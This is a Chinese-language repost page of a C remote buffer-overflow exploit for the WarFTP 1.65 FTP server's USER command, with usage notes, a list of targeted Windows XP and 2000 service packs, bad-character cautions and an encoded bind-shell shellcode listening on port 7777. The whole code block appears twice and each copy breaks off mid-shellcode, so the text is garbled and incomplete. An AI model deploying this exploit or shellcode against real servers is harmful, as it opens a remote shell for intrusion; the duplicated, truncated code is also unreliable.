佚名 向大家分享了WarFTP 1.65 (USER) Remote Buffer Overlow Exploit ,其中包含warftp,exploit,exploit是什么意思,exploit db,exploit开拓官网等知识点,遇到此问题的同学们可以参考下
#include <stdio.h>
#include <string.h>
#include <winsock.h> #define VULNSERVER "WAR-FTPD 1.65"
#define VULNCMD "\x55\x53\x45\x52\x20"
#define ZERO '\x00'
#define NOP '\x90'
#define VULNBUFF 485
#define BUFFREAD 128
#define PORT 21
#define LENJMPESP 4 /* #############################################################################
##### #####
##### WARFTP - VERSION 1.65 #####
##### #####
##### WarFTP Username Stack-Based Buffer-Overflow Vulnerability #####
##### #####
##### DESCRIPTION: WarFTP is prone to a stack-based buffer-overflow #####
##### vulnerability because it fails to properly check boundaries #####
##### on user-supplied data before copying it to an insufficiently #####
##### sized buffer. #####
##### #####
##### FUNC VULNERABLE: sprintf(char *buffer, const char *format, argv) #####
##### 0x004044E7: sprintf(0x00ACFB50, "%sCRLF", ExploitBuffer) #####
##### #####
##### AFFECTED VERSION: 1.65 #####
##### USE: warftphack.exe IP_ADDRESS SO_&_SERVICE_PACK [ ESP ADDRESS ] #####
##### SO_&_SERVICE_PACK: #####
##### [0] Microsoft Windows XP Pro Spanish SP0 #####
##### [1] Microsoft Windows XP Pro Spanish SP1 #####
##### [2] Microsoft Windows XP Pro Spanish SP2 #####
##### [3] Microsoft Windows XP Pro English SP0 #####
##### [4] Microsoft Windows XP Pro English SP1 #####
##### [5] Microsoft Windows XP Pro English SP2 #####
##### [6] Microsoft Windows 2000 Pro Spanish SP0 #####
##### [7] Microsoft Windows 2000 Pro Spanish SP1 #####
##### [8] Microsoft Windows 2000 Pro Spanish SP2 #####
##### [9] Microsoft Windows 2000 Pro Spanish SP3 #####
##### [10] Microsoft Windows 2000 Pro English SP0 #####
##### [11] Microsoft Windows 2000 Pro English SP1 #####
##### [12] Microsoft Windows 2000 Pro English SP2 #####
##### [13] Microsoft Windows 2000 Pro English SP3 #####
##### [14] Custom -> JMP ESP ADDRESS #####
##### #####
##### EXAMPLE: warftphack.exe 127.0.0.1 2 #####
##### EXAMPLE2: warftphack.exe 127.0.0.1 14 0x776EDDFF #####
##### #####
##### AUTOR: niXel - SYSCODE (SPAIN) #####
##### IDE: Dev-C ver-4.9.9.2 #####
##### COMPILER: MinGW #####
##### DEPENDENCES: Linker -> libwsock32.a #####
##### MAIL: Und3rground2002@hotmail.com #####
##### #####
############################################################################# CAUTION: USER command vulnerable => no send \x40 (@) char into shellcode (user@host)
no send \x0A (\n) char into shellcode
no send \x0D (\r) char into shellcode
FUNCTION sprintf => no send \x00 (\0) char into shellcode ############################ BINDSHELLCODE ##############################
[7777] */
char syscode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
"\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x71\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x4b\x4c\x32"
"\x4a\x5a\x4b\x50\x4d\x6d\x38\x6b\x49\x49\x6f\x59\x6f\x39\x6f\x35"
"\x30\x6c\x4b\x70\x6c\x65\x74\x37\x54\x4c\x4b\x42\x65\x47\x4c\x6e"
"\x6b\x31\x6c\x46\x65\x33\x48\x43\x31\x48\x6f\x6c\x4b\x70\x4f\x65"
"\x48\x6c\x4b\x73\x6f\x35\x70\x37\x71\x38\x6b\x31\x59\x4c\x4b\x46"
"\x54\x6e\x6b\x53\x31\x58\x6e\x30\x31\x6f\x30\x4f\x69\x4e\x4c\x4b"
"\x34\x49\x50\x41\x64\x46\x67\x49\x51\x7a\x6a\x46\x6d\x43\x31\x48"
"\x42\x5a\x4b\x38\x74\x47\x4b\x30\x54\x64\x64\x51\x38\x42\x55\x4b"
"\x55\x4e\x6b\x53\x6f\x51\x34\x43\x31\x4a\x4b\x50\x66\x4e\x6b\x46"
"\x6c\x42\x6b\x4c\x4b\x73\x6f\x75\x4c\x33\x31\x5a\x4b\x65\x53\x34"
"\x6c\x6e\x6b\x6d\x59\x30\x6c\x57\x54\x55\x4c\x55\x31\x4b\x73\x74"
"\x71\x69\x4b\x65\x34\x6e\x6b\x43\x73\x74\x70\x6c\x4b\x67\x30\x46"
"\x6c\x6c\x4b\x70\x70\x67\x6c\x6e\x4d\x6c\x4b\x57\x30\x44\x48\x71"
"\x4e\x72\x48\x4e\x6e\x50\x4e\x54\x4e\x38\x6c\x70\x50\x4b\x4f\x4e"
"\x36\x71\x76\x41\x43\x31\x76\x31\x78\x76\x53\x30\x32\x53\x58\x30"
"\x77\x44\x33\x57\x42\x63\x6f\x70\x54\x6b\x4f\x48\x50\x73\x58\x58"
"\x4b\x58\x6d\x6b\x4c\x57\x4b\x70\x50\x6b\x4f\x6a\x76\x71\x4f\x6d"
"\x59\x4b\x55\x65\x36\x6c\x41\x68\x6d\x53\x38\x63\x32\x42\x75\x51"
"\x7a\x36\x62\x59\x6f\x58\x50\x71\x78\x4a\x79\x34\x49\x4b\x45\x6e"
"\x4d\x30\x57\x69\x6f\x4e\x36\x52\x73\x41\x43\x62\x73\x76\x33\x51"
"\x43\x70\x43\x43\x63\x73\x73\x36\x33\x6b\x4f\x4a\x70\x75\x36\x41"
"\x78\x75\x4e\x71\x71\x35\x36\x42\x73\x4b\x39\x79\x71\x6c\x55\x70"
"\x68\x4f\x54\x75\x4a\x32\x50\x39\x57\x52\x77\x69\x6f\x38\x56\x70"
"\x6a\x72\x30\x50\x51\x53\x65\x4b\x4f\x58\x50\x55\x38\x6c\x64\x4c"
"\x6d\x34\x6e\x49\x79\x66\x37\x6b\x4f\x4e\x36\x50\x53\x30\x55\x69"
"\x6f\x4a\x70\x53\x58\x7a\x45\x41\x59\x4e\x66\x37\x39\x36\x37\x69"
"\x6f\x59\x46\x72\x70\x50\x54\x31\x44\x33\x65\x4b\x4f\x5a\x70\x4f"
"\x63\x51\x78\x38\x67\x50\x79\x38\x46\x43\x49\x32\x77\x4b\x4f\x4b"
"\x66\x62\x75\x79\x6f\x6a\x70\x45\x36\x30\x6a\x52\x44\x30\x66\x41"
"\x78\x32\x43\x72\x4d\x6f\x79\x6d\x35\x62\x4a\x42\x70\
#include <string.h>
#include <winsock.h> #define VULNSERVER "WAR-FTPD 1.65"
#define VULNCMD "\x55\x53\x45\x52\x20"
#define ZERO '\x00'
#define NOP '\x90'
#define VULNBUFF 485
#define BUFFREAD 128
#define PORT 21
#define LENJMPESP 4 /* #############################################################################
##### #####
##### WARFTP - VERSION 1.65 #####
##### #####
##### WarFTP Username Stack-Based Buffer-Overflow Vulnerability #####
##### #####
##### DESCRIPTION: WarFTP is prone to a stack-based buffer-overflow #####
##### vulnerability because it fails to properly check boundaries #####
##### on user-supplied data before copying it to an insufficiently #####
##### sized buffer. #####
##### #####
##### FUNC VULNERABLE: sprintf(char *buffer, const char *format, argv) #####
##### 0x004044E7: sprintf(0x00ACFB50, "%sCRLF", ExploitBuffer) #####
##### #####
##### AFFECTED VERSION: 1.65 #####
##### USE: warftphack.exe IP_ADDRESS SO_&_SERVICE_PACK [ ESP ADDRESS ] #####
##### SO_&_SERVICE_PACK: #####
##### [0] Microsoft Windows XP Pro Spanish SP0 #####
##### [1] Microsoft Windows XP Pro Spanish SP1 #####
##### [2] Microsoft Windows XP Pro Spanish SP2 #####
##### [3] Microsoft Windows XP Pro English SP0 #####
##### [4] Microsoft Windows XP Pro English SP1 #####
##### [5] Microsoft Windows XP Pro English SP2 #####
##### [6] Microsoft Windows 2000 Pro Spanish SP0 #####
##### [7] Microsoft Windows 2000 Pro Spanish SP1 #####
##### [8] Microsoft Windows 2000 Pro Spanish SP2 #####
##### [9] Microsoft Windows 2000 Pro Spanish SP3 #####
##### [10] Microsoft Windows 2000 Pro English SP0 #####
##### [11] Microsoft Windows 2000 Pro English SP1 #####
##### [12] Microsoft Windows 2000 Pro English SP2 #####
##### [13] Microsoft Windows 2000 Pro English SP3 #####
##### [14] Custom -> JMP ESP ADDRESS #####
##### #####
##### EXAMPLE: warftphack.exe 127.0.0.1 2 #####
##### EXAMPLE2: warftphack.exe 127.0.0.1 14 0x776EDDFF #####
##### #####
##### AUTOR: niXel - SYSCODE (SPAIN) #####
##### IDE: Dev-C ver-4.9.9.2 #####
##### COMPILER: MinGW #####
##### DEPENDENCES: Linker -> libwsock32.a #####
##### MAIL: Und3rground2002@hotmail.com #####
##### #####
############################################################################# CAUTION: USER command vulnerable => no send \x40 (@) char into shellcode (user@host)
no send \x0A (\n) char into shellcode
no send \x0D (\r) char into shellcode
FUNCTION sprintf => no send \x00 (\0) char into shellcode ############################ BINDSHELLCODE ##############################
[7777] */
char syscode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61"
"\x58\x30\x42\x31\x50\x42\x41\x6b\x41\x41\x71\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x4b\x4c\x32"
"\x4a\x5a\x4b\x50\x4d\x6d\x38\x6b\x49\x49\x6f\x59\x6f\x39\x6f\x35"
"\x30\x6c\x4b\x70\x6c\x65\x74\x37\x54\x4c\x4b\x42\x65\x47\x4c\x6e"
"\x6b\x31\x6c\x46\x65\x33\x48\x43\x31\x48\x6f\x6c\x4b\x70\x4f\x65"
"\x48\x6c\x4b\x73\x6f\x35\x70\x37\x71\x38\x6b\x31\x59\x4c\x4b\x46"
"\x54\x6e\x6b\x53\x31\x58\x6e\x30\x31\x6f\x30\x4f\x69\x4e\x4c\x4b"
"\x34\x49\x50\x41\x64\x46\x67\x49\x51\x7a\x6a\x46\x6d\x43\x31\x48"
"\x42\x5a\x4b\x38\x74\x47\x4b\x30\x54\x64\x64\x51\x38\x42\x55\x4b"
"\x55\x4e\x6b\x53\x6f\x51\x34\x43\x31\x4a\x4b\x50\x66\x4e\x6b\x46"
"\x6c\x42\x6b\x4c\x4b\x73\x6f\x75\x4c\x33\x31\x5a\x4b\x65\x53\x34"
"\x6c\x6e\x6b\x6d\x59\x30\x6c\x57\x54\x55\x4c\x55\x31\x4b\x73\x74"
"\x71\x69\x4b\x65\x34\x6e\x6b\x43\x73\x74\x70\x6c\x4b\x67\x30\x46"
"\x6c\x6c\x4b\x70\x70\x67\x6c\x6e\x4d\x6c\x4b\x57\x30\x44\x48\x71"
"\x4e\x72\x48\x4e\x6e\x50\x4e\x54\x4e\x38\x6c\x70\x50\x4b\x4f\x4e"
"\x36\x71\x76\x41\x43\x31\x76\x31\x78\x76\x53\x30\x32\x53\x58\x30"
"\x77\x44\x33\x57\x42\x63\x6f\x70\x54\x6b\x4f\x48\x50\x73\x58\x58"
"\x4b\x58\x6d\x6b\x4c\x57\x4b\x70\x50\x6b\x4f\x6a\x76\x71\x4f\x6d"
"\x59\x4b\x55\x65\x36\x6c\x41\x68\x6d\x53\x38\x63\x32\x42\x75\x51"
"\x7a\x36\x62\x59\x6f\x58\x50\x71\x78\x4a\x79\x34\x49\x4b\x45\x6e"
"\x4d\x30\x57\x69\x6f\x4e\x36\x52\x73\x41\x43\x62\x73\x76\x33\x51"
"\x43\x70\x43\x43\x63\x73\x73\x36\x33\x6b\x4f\x4a\x70\x75\x36\x41"
"\x78\x75\x4e\x71\x71\x35\x36\x42\x73\x4b\x39\x79\x71\x6c\x55\x70"
"\x68\x4f\x54\x75\x4a\x32\x50\x39\x57\x52\x77\x69\x6f\x38\x56\x70"
"\x6a\x72\x30\x50\x51\x53\x65\x4b\x4f\x58\x50\x55\x38\x6c\x64\x4c"
"\x6d\x34\x6e\x49\x79\x66\x37\x6b\x4f\x4e\x36\x50\x53\x30\x55\x69"
"\x6f\x4a\x70\x53\x58\x7a\x45\x41\x59\x4e\x66\x37\x39\x36\x37\x69"
"\x6f\x59\x46\x72\x70\x50\x54\x31\x44\x33\x65\x4b\x4f\x5a\x70\x4f"
"\x63\x51\x78\x38\x67\x50\x79\x38\x46\x43\x49\x32\x77\x4b\x4f\x4b"
"\x66\x62\x75\x79\x6f\x6a\x70\x45\x36\x30\x6a\x52\x44\x30\x66\x41"
"\x78\x32\x43\x72\x4d\x6f\x79\x6d\x35\x62\x4a\x42\x70\